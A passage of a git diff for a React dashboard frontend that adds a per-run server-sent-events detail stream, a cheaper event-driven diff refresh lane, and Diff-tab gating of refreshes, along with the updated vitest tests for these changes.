+ * Lifecycle mirrors useSessionStream: open on mount / param change, close on
+ * unmount / change, no reconnect storm (a single EventSource per (runId, scope);
+ * the browser handles transient reconnects). A malformed frame is reported once
+ * and dropped — the last good frame stays rendered.
+ */
+export function useFormulaRunDetailStream(
+  runId: string | undefined,
+  enabled: boolean,
+  onDetail: ((detail: FormulaRunDetail, frameKey: string) => void) | undefined,
+  scopeKind?: RunScopeKind,
+  scopeRef?: string,
+): RunDetailStreamState {
+  const [state, setState] = useState<RunDetailStreamState>('unavailable');
+  const onDetailRef = useRef(onDetail);
+  onDetailRef.current = onDetail;
+  const malformedReportedRef = useRef(false);
+  const cacheKey = formulaRunDetailCacheKey(runId, scopeKind, scopeRef);
+
+  useEffect(() => {
+    malformedReportedRef.current = false;
+    if (!runId || !enabled || typeof EventSource === 'undefined') {
+      setState('unavailable');
+      return;
+    }
+    let cancelled = false;
+    setState('connecting');
+    const source = new EventSource(api.runDetailStreamUrl(runId), { withCredentials: true });
+
+    source.onopen = () => {
+      if (!cancelled) setState('open');
+    };
+    const onFrame = (event: MessageEvent<string>) => {
+      if (cancelled) return;
+      const detail = parseDetailFrame(event.data, runId, malformedReportedRef);
+      if (detail === null) return;
+      // Warm the SWR entry so a remount is cache-warm, then hand the pushed
+      // frame to the renderer — zero refetch. Tag it with THIS effect's cacheKey
+      // (the run the stream was opened for), not the latest render's, so a frame
+      // arriving during an A→B navigation — before this effect's cleanup closes
+      // A's source, while onDetailRef already points at B's callback — is still
+      // stored under A's key and dropped by B's key comparison.
+      setCached(cacheKey, { kind: 'loaded', detail });
+      onDetailRef.current?.(detail, cacheKey);
+      setState('open');
+    };
+    source.addEventListener('detail', onFrame);
+    source.onerror = () => {
+      if (cancelled) return;
+      // The browser auto-reconnects an EventSource unless we close it; surface
+      // 'closed' so the caller falls back to GET/nudge while it retries.
+      setState(source.readyState === EventSource.CLOSED ? 'closed' : 'connecting');
+    };
+
+    return () => {
+      cancelled = true;
+      source.close();
+    };
+  }, [runId, enabled, cacheKey]);
+
+  return state;
+}
+
+function parseDetailFrame(
+  data: string,
+  runId: string,
+  reportedRef: React.MutableRefObject<boolean>,
+): FormulaRunDetail | null {
+  let parsed: unknown;
+  try {
+    parsed = JSON.parse(data);
+  } catch (err) {
+    reportMalformedFrameOnce(runId, reportedRef, err);
+    return null;
+  }
+  try {
+    // Same edge validator the GET uses — keep serialization at the edges so a
+    // drifted frame fails here rather than deep in the diagram renderer.
+    return decodeFormulaRunDetail(parsed, api.runDetailStreamUrl(runId));
+  } catch (err) {
+    reportMalformedFrameOnce(runId, reportedRef, err);
+    return null;
+  }
+}
+
+function reportMalformedFrameOnce(
+  runId: string,
+  reportedRef: React.MutableRefObject<boolean>,
+  err: unknown,
+): void {
+  if (reportedRef.current) return;
+  reportedRef.current = true;
+  void reportClientError({
+    component: 'formula-run-detail-stream',
+    operation: 'parse stream frame',
+    message: `${runId}: ${errorMessage(err)}`,
+  });
+}
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.test.tsx b/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.test.tsx
index 69b1f8675c..a9b0c1ce39 100644
--- a/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.test.tsx
@@ -1,4 +1,4 @@
-import { cleanup, renderHook, waitFor } from '@testing-library/react';
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react';
 import type { RunDiffResponse } from 'gas-city-dashboard-shared';
 import { afterEach, describe, expect, it, vi, type Mock } from 'vitest';
 import { invalidate } from '../api/cache';
@@ -82,6 +82,44 @@ describe('useRunDiff', () => {
       {},
     );
   });
+
+  it('sends refresh=true on an explicit manual refresh (the bypass-lane client contract)', async () => {
+    mockRunDiff.mockResolvedValue(okDiff());
+
+    const { result } = renderHook(() => useRunDiff('wf-1', knownPath()));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    if (result.current.kind !== 'ready') throw new Error('diff did not load');
+    mockRunDiff.mockClear();
+
+    await act(async () => {
+      await result.current.refresh();
+    });
+
+    expect(mockRunDiff).toHaveBeenCalledWith(
+      'wf-1',
+      { executionPath: knownPath() },
+      { refresh: true },
+    );
+  });
+
+  it('omits refresh on cheapRefresh (the event-driven cheap-lane client contract)', async () => {
+    mockRunDiff.mockResolvedValue(okDiff());
+
+    const { result } = renderHook(() => useRunDiff('wf-1', knownPath()));
+    await waitFor(() => expect(result.current.kind).toBe('ready'));
+    if (result.current.kind !== 'ready') throw new Error('diff did not load');
+    mockRunDiff.mockClear();
+
+    await act(async () => {
+      await result.current.cheapRefresh();
+    });
+
+    // cheapRefresh omits `refresh: true` — the cheap-lane client contract for a
+    // future server-side diff cache. It is inert on the wire today (runQuery
+    // drops the flag, no cache exists); the live burst protection is the
+    // tab-gating + useGcEventRefresh coalescing, not this flag.
+    expect(mockRunDiff).toHaveBeenCalledWith('wf-1', { executionPath: knownPath() }, {});
+  });
 });
 
 function knownPath() {
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.ts b/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.ts
index 4986029fda..10c143dcf9 100644
--- a/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.ts
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useRunDiff.ts
@@ -6,7 +6,16 @@ import { useCachedData } from './useCachedData';
 
 interface RunDiffState {
   kind: 'idle' | 'loading' | 'ready' | 'failed';
+  /** TTL-bypassing refresh — the manual Refresh lane; re-runs the git diff. */
   refresh: () => Promise<void>;
+  /**
+   * TTL-absorbed refresh for high-frequency event-driven nudges. Omits the
+   * refresh flag (the manual lane sets refresh=true) as a forward-compat client
+   * contract for a future server-side diff TTL cache; today the flag is dropped
+   * on the wire, so the live burst protection is the tab-gating + event
+   * coalescing, not the flag. Use for the bead/session nudge.
+   */
+  cheapRefresh: () => Promise<void>;
 }
 
 type RunDiffRefreshState =
@@ -38,13 +47,20 @@ export function useRunDiff(
   scopeRef?: string,
 ): RunDiffLoadState {
   const key = runDiffCacheKey(runId, executionPath, scopeKind, scopeRef);
-  const { data, loading, error, refresh } = useCachedData(
+  const { data, loading, error, refresh, cheapRefresh } = useCachedData(
     key,
     () => loadRunDiff(runId, executionPath, scopeKind, scopeRef),
     {
-      // Explicit refresh re-reads local git state for the same supervisor-
-      // resolved execution path, in lockstep with detail refreshes.
+      // refresh=true/false is a forward-compat CLIENT contract for a future
+      // server-side diff cache: the manual Refresh button takes the bypass lane
+      // (refresh=true), event-driven nudges take the cheap lane (refresh=false).
+      // NOTE: today the diff endpoint has NO cache and runQuery drops the flag,
+      // so both lanes issue an identical git read on the wire — this phase's live
+      // win is the tab-gating in FormulaRunDetail (the diff refetches only while
+      // the Diff tab is open), not the flag. When a server diff cache lands, the
+      // cheap lane already lets it absorb bursts with no client change.
       refreshFetcher: () => loadRunDiff(runId, executionPath, scopeKind, scopeRef, true),
+      sseRefreshFetcher: () => loadRunDiff(runId, executionPath, scopeKind, scopeRef, false),
       onError: (err) => {
         if (runId !== undefined) reportRunDiffError('load diff', runId, err);
       },
@@ -52,18 +68,19 @@ export function useRunDiff(
   );
 
   if (runId === undefined || executionPath === undefined) {
-    return { kind: 'idle', refresh: noopRefresh };
+    return { kind: 'idle', refresh: noopRefresh, cheapRefresh: noopRefresh };
   }
   if (data?.kind === 'loaded') {
     return {
       kind: 'ready',
       diff: data.diff,
       refresh,
+      cheapRefresh,
       refreshState: refreshState(loading, error),
     };
   }
-  if (error !== null) return { kind: 'failed', error, refresh };
-  return { kind: 'loading', refresh };
+  if (error !== null) return { kind: 'failed', error, refresh, cheapRefresh };
+  return { kind: 'loading', refresh, cheapRefresh };
 }
 
 async function loadRunDiff(
diff --git a/internal/api/dashboardspa/web/frontend/src/hooks/useRunNodeSelection.test.tsx b/internal/api/dashboardspa/web/frontend/src/hooks/useRunNodeSelection.test.tsx
index b50bc0d662..02180cf0a7 100644
--- a/internal/api/dashboardspa/web/frontend/src/hooks/useRunNodeSelection.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/hooks/useRunNodeSelection.test.tsx
@@ -158,6 +158,7 @@ function detailWithNodes(nodeIds: string[]): FormulaRunDetail {
       snapshotVersion: 1,
       snapshotEventSeq: { kind: 'known', seq: 1 },
       snapshotPartial: false,
+      terminal: false,
       totalNodeCount: nodeIds.length,
       visibleNodeCount: nodeIds.length,
       edgeCount: 0,
diff --git a/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.test.tsx b/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.test.tsx
index afbc39c50f..69abd95275 100644
--- a/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.test.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.test.tsx
@@ -1,7 +1,7 @@
 import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
 import { MemoryRouter, Route, Routes, useNavigate } from 'react-router-dom';
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
-import { FormulaRunDetailPage } from './FormulaRunDetail';
+import { FormulaRunDetailPage, runDetailNudgeRefresh } from './FormulaRunDetail';
 import { invalidate, setCached } from '../api/cache';
 import { setActiveCity } from '../api/cityBase';
 import { NowProvider } from '../contexts/NowContext';
@@ -16,9 +16,8 @@ import {
   type RunLane,
   type RunSummary,
   type SourceState,
-  UnsupportedRunError,
 } from 'gas-city-dashboard-shared';
-import { SupervisorApiError } from '../supervisor/errors';
+import { ApiClientError } from '../api/client';
 import rawFormulaRunDetailFixture from '../test/fixtures/formula-run-detail.json';
 
 const loadSupervisorFormulaRunDetail = vi.hoisted(() => vi.fn());
@@ -264,7 +263,10 @@ describe('FormulaRunDetailPage', () => {
     fireEvent.click(screen.getByRole('button', { name: applyFixesName }));
     expect(nodePressed(reviewPipelineName)).toBe('false');
     expect(nodePressed(applyFixesName)).toBe('true');
-    await screen.findByText(/apply the iteration 1 review fixes/i);
+    // Server-picked visible instance is the current iteration 2 (not-started),
+    // so the default panel shows the not-started copy, not the historical
+    // iteration 1 transcript.
+    await screen.findByText('This node has not started a session yet.');
 
     fireEvent.click(screen.getByRole('button', { name: applyFixesName }));
     expect(nodePressed(applyFixesName)).toBe('false');
@@ -315,21 +317,25 @@ describe('FormulaRunDetailPage', () => {
     await screen.findByText(/checking graph\.v2 node grouping/i);
   });
 
-  it('refreshes the whole run projection when matching city events arrive', async () => {
+  it('renders a pushed detail frame from the per-run stream with no re-GET (P4)', async () => {
     renderPage();
     await screen.findByRole('heading', { name: /adopt pr #42/i });
-    const cityStream = requireCityEventSource();
+    const detailStream = requireRunDetailStream();
+    // First paint spent exactly one detail GET; the stream must not add another.
+    expect(loadSupervisorFormulaRunDetail).toHaveBeenCalledTimes(1);
 
-    currentDetail = {
+    detailStream.open();
+    detailStream.dispatch('detail', {
       ...detail,
       title: 'Adopt PR #42 refreshed',
       snapshotVersion: 12,
       snapshotEventSeq: { kind: 'known', seq: 92 },
-    };
-    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.bead}updated` });
+    });
 
     await screen.findByRole('heading', { name: /adopt pr #42 refreshed/i });
     expect(screen.getByText(/v12 · seq 92/i)).toBeTruthy();
+    // The pushed frame rendered with ZERO additional detail GET.
+    expect(loadSupervisorFormulaRunDetail).toHaveBeenCalledTimes(1);
   });
 
   it('does not refresh terminal runs from ambient city events without run identity', async () => {
@@ -346,6 +352,100 @@ describe('FormulaRunDetailPage', () => {
     expect(diffUrls()).toHaveLength(1);
   });
 
+  it('drives ambient suppression from the server progress.terminal flag, not a client taxonomy', async () => {
+    // An all-`done` census that the OLD client fold would classify terminal, but
+    // the server reports progress.terminal=false. The retired isTerminalProgress
+    // derivation would suppress here; the server flag must win and the ambient
+    // event must still refresh — proving the flag, not a re-derived taxonomy,
+    // gates suppression. P4 moved detail to the stream, so this ambient nudge now
+    // refreshes the DIFF; the terminal flag still gates whether it fires. The
+    // Diff tab is the default-active tab, so the P5 tab gate is open here.
+    currentDetail = {
+      ...terminalDetail(),
+      progress: { ...terminalDetail().progress, terminal: false },
+    };
+    renderPage();
+    await screen.findByRole('heading', { name: /adopt pr #42/i });
+    const cityStream = requireCityEventSource();
+    await waitFor(() => expect(diffUrls()).toHaveLength(1));
+
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    await waitFor(() => expect(diffUrls()).toHaveLength(2));
+  });
+
+  it('fires NO diff POST from a nudge while the Diff tab is hidden (P5 tab gate)', async () => {
+    // The Diff tab is the default-active view, so switch to Session first to hide
+    // it. A nudge must then issue ZERO /diff POSTs — the git-exec chain no longer
+    // runs for a tab the operator can't see.
+    renderPage();
+    await screen.findByRole('heading', { name: /adopt pr #42/i });
+    const cityStream = requireCityEventSource();
+    await waitFor(() => expect(diffUrls()).toHaveLength(1));
+
+    openSessionTab();
+    const hiddenTabDiffCount = diffUrls().length;
+
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    await Promise.resolve();
+    await Promise.resolve();
+
+    expect(diffUrls()).toHaveLength(hiddenTabDiffCount);
+  });
+
+  it('refreshes the diff once when the operator switches to the Diff tab (P5, not stale)', async () => {
+    // Switch away from the default Diff tab, let a nudge fire (no diff POST while
+    // hidden), then switch back — the Diff tab must refresh once on activation so
+    // it does not show stale changes the hidden-tab nudges skipped.
+    renderPage();
+    await screen.findByRole('heading', { name: /adopt pr #42/i });
+    const cityStream = requireCityEventSource();
+    await waitFor(() => expect(diffUrls()).toHaveLength(1));
+
+    openSessionTab();
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    await Promise.resolve();
+    expect(diffUrls()).toHaveLength(1);
+
+    currentDiff = {
+      ...diff,
+      changedFiles: [{ path: 'src/switched.ts', status: 'M', kind: 'code' }],
+      status: [' M src/switched.ts'],
+      patch: [
+        'diff --git a/src/switched.ts b/src/switched.ts',
+        'index 3a4e79a..b6c9d02 100644',
+        '--- a/src/switched.ts',
+        '+++ b/src/switched.ts',
+        '@@ -1 +1 @@',
+        '-stale',
+        '+fresh on tab activation',
+      ].join('\n'),
+    };
+    fireEvent.click(screen.getByRole('tab', { name: /diff/i }));
+
+    await screen.findByText('fresh on tab activation');
+    // Exactly one activation refresh (the hidden-tab nudge added none).
+    await waitFor(() => expect(diffUrls()).toHaveLength(2));
+  });
+
+  it('coalesces a burst of nudges into at most one diff POST per window (P5)', async () => {
+    renderPage();
+    await screen.findByRole('heading', { name: /adopt pr #42/i });
+    const cityStream = requireCityEventSource();
+    // Default Diff tab is visible, so the diff refresh gate is open.
+    await waitFor(() => expect(diffUrls()).toHaveLength(1));
+
+    // A burst inside one coalesce window yields a single leading fire.
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    cityStream.dispatch('event', { type: `${GC_EVENT_PREFIX.session}updated` });
+    await waitFor(() => expect(diffUrls()).toHaveLength(2));
+
+    await Promise.resolve();
+    await Promise.resolve();
+    // No per-event storm: the burst added exactly one diff POST.
+    expect(diffUrls()).toHaveLength(2);
+  });
+
   it('does not refresh from city events before the initial run detail identifies the run', async () => {
     const initialLoad = deferred<FormulaRunDetail>();
     loadSupervisorFormulaRunDetail.mockReturnValue(initialLoad.promise);
@@ -418,14 +518,14 @@ describe('FormulaRunDetailPage', () => {
     renderPage();
     await screen.findByRole('heading', { name: /adopt pr #42/i });
     const cityStream = requireCityEventSource();
-    const runFetchCount = runUrls().length;
+    const detailStream = requireRunDetailStream();
+    detailStream.open();
+    // The diff nudge must not fire for an unrelated run; capture the current
+    // count so a stray refresh is detectable. (Detail no longer re-GETs on the
+    // nudge — it streams — so this asserts the diff-lane match filter.)
+    await waitFor(() => expect(diffUrls()).toHaveLength(1));
+    const diffCount = diffUrls().length;
 
-    currentDetail = {
-      ...detail,
-      title: 'Different formula run should not refresh this page',
-      snapshotVersion: 99,
-      snapshotEventSeq: { kind: 'known', seq: 199 },
-    };
     cityStream.dispatch('event', {
       type: `${GC_EVENT_PREFIX.bead}updated`,
       payload: {
@@ -439,29 +539,21 @@ describe('FormulaRunDetailPage', () => {
     });
 
     await Promise.resolve();
-    expect(runUrls()).toHaveLength(runFetchCount);
+    expect(diffUrls()).toHaveLength(diffCount);
     expect(screen.getByRole('heading', { name: /adopt pr #42/i })).toBeTruthy();
 
-    currentDetail = {
+    // A pushed frame for THIS run (the stream is per-run, so a frame is always
+    // this run's) updates the rendered detail — with zero re-GET.
+    detailStream.dispatch('detail', {
       ...detail,
       title: 'Adopt PR #42 current formula run refresh',
       snapshotVersion: 12,
       snapshotEventSeq: { kind: 'known', seq: 92 },
-    };
-    cityStream.dispatch('event', {
-      type: `${GC_EVENT_PREFIX.bead}updated`,
-      payload: {
-        bead: {
-          metadata: {
-            'gc.run_id': detail.runId,
-            'gc.root_bead_id': detail.rootBeadId,
-          },
-        },
-      },
     });
 
     await screen.findByRole('heading', { name: /adopt pr #42 current formula run refresh/i });
     expect(screen.getByText(/v12 · seq 92/i)).toBeTruthy();
+    expect(loadSupervisorFormulaRunDetail).toHaveBeenCalledTimes(1);
   });
 
   it('rejects a half-specified scope query without loading the formula run', async () => {
@@ -480,11 +572,10 @@ describe('FormulaRunDetailPage', () => {
     await screen.findByRole('heading', { name: /adopt pr #42/i });
 
     const runUrls = fetchUrls.filter((url) => url.startsWith('/api/city/test-city/runs/'));
-    expect(loadSupervisorFormulaRunDetail).toHaveBeenCalledWith(
-      'gc-adopt-pr-active',
-      'city',
-      'racoon-city',
-    );
+    // The detail loader is scope-independent now (the BFF projection derives the
+    // run's scope from its own root bead); the route's scope still drives the
+    // separate run-diff fetch below.
+    expect(loadSupervisorFormulaRunDetail).toHaveBeenCalledWith('gc-adopt-pr-active');
     expect(runUrls).toContain(
       '/api/city/test-city/runs/gc-adopt-pr-active/diff?scope_kind=city&scope_ref=racoon-city',
     );
@@ -605,7 +696,10 @@ describe('FormulaRunDetailPage', () => {
 
     fireEvent.click(screen.getByRole('button', { name: applyFixesName }));
     openSessionTab();
-    await screen.findByText(/apply the iteration 1 review fixes/i);
+    // apply-fixes defaults to the server-picked current iteration 2 (not-started),
+    // so switching nodes shows the not-started copy — and must close the prior
+    // review-pipeline stream.
+    await screen.findByText('This node has not started a session yet.');
     await waitFor(() => expect(firstStream?.closed).toBe(true));
 
     fireEvent.click(screen.getByRole('button', { name: reviewPipelineName }));
@@ -625,11 +719,14 @@ describe('FormulaRunDetailPage', () => {
 
     fireEvent.click(screen.getByRole('button', { name: applyFixesName }));
     openSessionTab();
-    await screen.findByText(/apply the iteration 1 review fixes/i);
+    // The server's visibleExecutionInstanceId points at the current iteration 2
+    // instance (not the historical attached iteration 1 the old heuristic
+    // surfaced), so the not-started current instance shows by default.
+    await screen.findByText('This node has not started a session yet.');
 
-    fireEvent.click(screen.getByRole('radio', { name: /iteration 2/i }));
+    fireEvent.click(screen.getByRole('radio', { name: /iteration 1/i }));
 
-    await screen.findByText('This node has not started a session yet.');
+    await screen.findByText(/apply the iteration 1 review fixes/i);
   });
 
   it('keeps the Session tab available so a selected node can explain unresolved sessions', async () => {
@@ -661,10 +758,10 @@ describe('FormulaRunDetailPage', () => {
 
   it('renders an informative list-only message for a v1 / wisp (unsupported) run, not the generic failure (gascity-dashboard-9w3k)', async () => {
     // A v1 / wisp run is clickable in the run list but has no graph.v2 detail
-    // view: enrichFormulaRun throws UnsupportedRunError('not_run_view'). The page
-    // must explain that clearly rather than show the opaque generic fallback.
+    // view: the BFF rejects it with 422 + reason 'not_run_view'. The page must
+    // explain that clearly rather than show the opaque generic fallback.
     loadSupervisorFormulaRunDetail.mockImplementation(async () => {
-      throw new UnsupportedRunError('run is not a graph.v2 run', 'not_run_view');
+      throw new ApiClientError(422, 'run is not a graph.v2 run', undefined, 'not_run_view');
     });
 
     renderPage();
@@ -679,13 +776,13 @@ describe('FormulaRunDetailPage', () => {
   });
 
   it('renders an honest not-found message for a raw 404 (ambiguous), not the v1 over-claim or the generic failure (Major 2)', async () => {
-    // gascity-dashboard (Major 2): a raw SupervisorApiError 404 (no snapshot at
-    // all) is ambiguous — it can be a v1/wisp id, a completed run whose snapshot
-    // wasn't retained, a pruned run, or a stale/wrong derived scope. The page
-    // must NOT assert it is definitively v1 (the 'unsupported' copy) and must NOT
-    // fall to the generic "Formula run unavailable." dead-end either.
+    // gascity-dashboard (Major 2): a 404 (no run root in the projection) is
+    // ambiguous — it can be a v1/wisp id, a completed run whose events rotated
+    // out, a pruned run, or a stale/wrong derived scope. The page must NOT assert
+    // it is definitively v1 (the 'unsupported' copy) and must NOT fall to the
+    // generic "Formula run unavailable." dead-end either.
     loadSupervisorFormulaRunDetail.mockImplementation(async () => {
-      throw new SupervisorApiError(404, 'workflow gc-p7yf1m not found', undefined);
+      throw new ApiClientError(404, 'unknown run');
     });
 
     renderPage();
@@ -699,10 +796,10 @@ describe('FormulaRunDetailPage', () => {
   });
 
   it('still shows the generic failure for a malformed graph.v2 snapshot (invalid_snapshot)', async () => {
-    // A genuine load failure (malformed graph.v2 snapshot, or any other
-    // UnsupportedRunError reason) must NOT be mistaken for a v1 list-only run.
+    // A genuine load failure (malformed graph.v2 snapshot: 422 +
+    // 'invalid_snapshot') must NOT be mistaken for a v1 list-only run.
     loadSupervisorFormulaRunDetail.mockImplementation(async () => {
-      throw new UnsupportedRunError('run snapshot identity is missing or invalid');
+      throw new ApiClientError(422, 'run snapshot is invalid', undefined, 'invalid_snapshot');
     });
 
     renderPage();
@@ -767,6 +864,46 @@ describe('FormulaRunDetailPage', () => {
   });
 });
 
+describe('runDetailNudgeRefresh (P4 stream-vs-nudge division, P5 diff tab gate)', () => {
+  it('refreshes only the diff when the detail stream is live and the Diff tab is visible', async () => {
+    const refreshDetail = vi.fn(() => Promise.resolve());
+    const refreshDiff = vi.fn(() => Promise.resolve());
+    await runDetailNudgeRefresh(true, true, refreshDetail, refreshDiff);
+    // The stream carries detail, so a nudge must NOT re-GET it (no double refetch).
+    expect(refreshDetail).not.toHaveBeenCalled();
+    expect(refreshDiff).toHaveBeenCalledTimes(1);
+  });
+
+  it('refreshes BOTH detail and diff when the stream is unavailable and the Diff tab is visible (F2)', async () => {
+    const refreshDetail = vi.fn(() => Promise.resolve());
+    const refreshDiff = vi.fn(() => Promise.resolve());
+    // No EventSource → the stream can't carry detail, so the nudge must keep the
+    // detail auto-refresh alive (otherwise detail freezes after first paint).
+    await runDetailNudgeRefresh(false, true, refreshDetail, refreshDiff);
+    expect(refreshDetail).toHaveBeenCalledTimes(1);
+    expect(refreshDiff).toHaveBeenCalledTimes(1);
+  });
+
+  it('fires NO diff refresh when the Diff tab is hidden but the stream is live (P5)', async () => {
+    const refreshDetail = vi.fn(() => Promise.resolve());
+    const refreshDiff = vi.fn(() => Promise.resolve());
+    await runDetailNudgeRefresh(true, false, refreshDetail, refreshDiff);
+    // Stream carries detail; Diff tab hidden → zero git-exec diff read.
+    expect(refreshDetail).not.toHaveBeenCalled();
+    expect(refreshDiff).not.toHaveBeenCalled();
+  });
+
+  it('still refreshes detail (not the diff) when the Diff tab is hidden and the stream is unavailable (P5)', async () => {
+    const refreshDetail = vi.fn(() => Promise.resolve());
+    const refreshDiff = vi.fn(() => Promise.resolve());
+    await runDetailNudgeRefresh(false, false, refreshDetail, refreshDiff);
+    // Detail still auto-refreshes without a stream; the hidden Diff tab skips its
+    // git-exec read.
+    expect(refreshDetail).toHaveBeenCalledTimes(1);
+    expect(refreshDiff).not.toHaveBeenCalled();
+  });
+});
+
 function renderPage(initialEntry = '/runs/gc-adopt-pr-active', includeRouteControls = false) {
   return render(
     <MemoryRouter
@@ -923,12 +1060,18 @@ function requireCityEventSource(): FakeEventSource {
   return source;
 }
 
-function sessionEventSources(): FakeEventSource[] {
-  return eventSources.filter((eventSource) => eventSource.url.includes('/session/'));
+// P4: the per-run detail stream is a distinct BFF EventSource
+// (/api/city/.../runs/{id}/detail/stream) that pushes the whole FormulaRunDetail
+// as a `detail` frame. Detail refresh now arrives here instead of via a nudge
+// re-GET.
+function requireRunDetailStream(): FakeEventSource {
+  const source = eventSources.find((eventSource) => eventSource.url.endsWith('/detail/stream'));
+  if (source === undefined) throw new Error('expected run-detail stream source');
+  return source;
 }
 
-function runUrls(): string[] {
-  return fetchUrls.filter((url) => url.startsWith('/api/city/test-city/runs/'));
+function sessionEventSources(): FakeEventSource[] {
+  return eventSources.filter((eventSource) => eventSource.url.includes('/session/'));
 }
 
 function diffUrls(): string[] {
@@ -945,6 +1088,7 @@ function terminalDetail(): FormulaRunDetail {
       visibleNodeCount: 8,
       statusCounts: { done: 8 },
       allStatusCounts: { done: 8 },
+      terminal: true,
     },
     nodes: detail.nodes.map((node) => ({
       ...node,
diff --git a/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.tsx b/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.tsx
index 5f7c033048..6575f8f325 100644
--- a/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.tsx
+++ b/internal/api/dashboardspa/web/frontend/src/routes/FormulaRunDetail.tsx
@@ -1,4 +1,4 @@
-import { useMemo, useState } from 'react';
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
 import { Link, useParams, useSearchParams } from 'react-router-dom';
 import { GC_EVENT_PREFIX, SCOPE_REF_RE } from 'gas-city-dashboard-shared';
 import type {
@@ -15,7 +15,7 @@ import { PageHeader } from '../components/PageHeader';
 import { RelatedEntities } from '../components/RelatedEntities';
 import { BeadDetailModal } from '../components/BeadDetailModal';
 import { FormulaRunDiagram } from '../components/run/FormulaRunDiagram';
-import { FormulaRunTabs } from '../components/run/FormulaRunTabs';
+import { FormulaRunTabs, type RunEvidenceTab } from '../components/run/FormulaRunTabs';
 import { StageLadder } from '../components/run/StageLadder';
 import { useNow } from '../contexts/NowContext';
 import { useGcEventRefresh } from '../hooks/useGcEvents';
@@ -29,14 +29,6 @@ import { getActiveCity } from '../api/cityBase';
 
 const RUN_DETAIL_EVENT_PREFIXES = [GC_EVENT_PREFIX.bead, GC_EVENT_PREFIX.session] as const;
 const NO_EVENT_PREFIXES: readonly string[] = [];
-const TERMINAL_STATUSES: readonly RunNodeStatus[] = ['completed', 'done', 'failed', 'skipped'];
-const NON_TERMINAL_STATUSES: readonly RunNodeStatus[] = [
-  'pending',
-  'ready',
-  'running',
-  'active',
-  'blocked',
-];
 
 export function FormulaRunDetailPage() {
   const { runId } = useParams<{ runId: string }>();
@@ -86,14 +78,39 @@ export function FormulaRunDetailPage() {
       : readyRun !== null && readyRun.refreshState.kind === 'failed'
         ? readyRun.refreshState.error
         : null;
+  // The Diff tab is the default-active view; the parent owns the tab so the P5
+  // gate below can suppress the diff's git-exec read while it is hidden.
+  const [activeTab, setActiveTab] = useState<RunEvidenceTab>('diff');
+  const diffTabActive = activeTab === 'diff';
+
+  // P4: the run DETAIL streams (useFormulaRunDetail owns the per-run SSE stream,
+  // which pushes the whole DTO with zero refetch), so when the stream is live
+  // this nudge lane refreshes ONLY the run DIFF (a separate git-exec read the
+  // stream does not carry). When the stream is UNAVAILABLE — a runtime with no
+  // EventSource, where detail would otherwise be fetched once then frozen — the
+  // nudge must ALSO refresh the detail so its auto-refresh survives.
+  //
+  // P5: the diff refresh is now (a) TTL-absorbed via cheapRefresh (refresh=false,
+  // the server diff TTL coalesces bursts) instead of the bypassing manual lane,
+  // and (b) gated on the Diff tab being visible — a nudge fires ZERO /diff POSTs
+  // while the tab is hidden. The manual Refresh button (refreshRunResources)
+  // keeps the bypass. Switching TO the Diff tab refreshes it once (below) so it
+  // is never stale from the nudges it skipped.
+  const streamActive = runDetail.streamActive;
   useGcEventRefresh(
     routeError ? NO_EVENT_PREFIXES : RUN_DETAIL_EVENT_PREFIXES,
-    () => void refreshRunResources(runDetail.refresh, runDiff.refresh),
+    () =>
+      void runDetailNudgeRefresh(
+        streamActive,
+        diffTabActive,
+        runDetail.refresh,
+        runDiff.cheapRefresh,
+      ),
     {
       matches: (event) => {
         if (detail === null) return false;
         const identity = runEventIdentity(event);
-        if (isTerminalProgress(detail.progress) && identityIsAmbient(identity)) return false;
+        if (detail.progress.terminal && identityIsAmbient(identity)) return false;
         return formulaRunDetailEventMatches(identity, {
           runId: detail.runId,
           rootBeadId: detail.rootBeadId,
@@ -101,6 +118,24 @@ export function FormulaRunDetailPage() {
       },
     },
   );
+  // P5: switching TO the Diff tab refreshes the diff once so it is not stale from
+  // the nudges it skipped while hidden. The refresh lives in an effect (not the
+  // tab-change handler) so it is a pure state update — React StrictMode's updater
+  // double-invoke can't fire the git-exec read twice. The mount already loads the
+  // diff for the default-active Diff tab, so a ref-tracked "was the Diff tab last
+  // visible" flag suppresses the initial render and fires only on a genuine
+  // hidden→visible transition. cheapRefresh is captured in a ref so the effect
+  // depends only on visibility, never re-running on an unrelated re-render.
+  const diffCheapRefreshRef = useRef(runDiff.cheapRefresh);
+  diffCheapRefreshRef.current = runDiff.cheapRefresh;
+  const diffTabWasActiveRef = useRef(diffTabActive);
+  useEffect(() => {
+    const wasActive = diffTabWasActiveRef.current;
+    diffTabWasActiveRef.current = diffTabActive;
+    if (diffTabActive && !wasActive) void diffCheapRefreshRef.current();
+  }, [diffTabActive]);
+  const handleActiveTabChange = useCallback((next: RunEvidenceTab) => setActiveTab(next), []);
+
   const pageError = routeError ?? loadError;
   const { selectedNodeId, selectedNode, toggleNode } = useRunNodeSelection(
     detail,
@@ -213,7 +248,12 @@ export function FormulaRunDetailPage() {
               selectedNodeId={selectedNodeId}
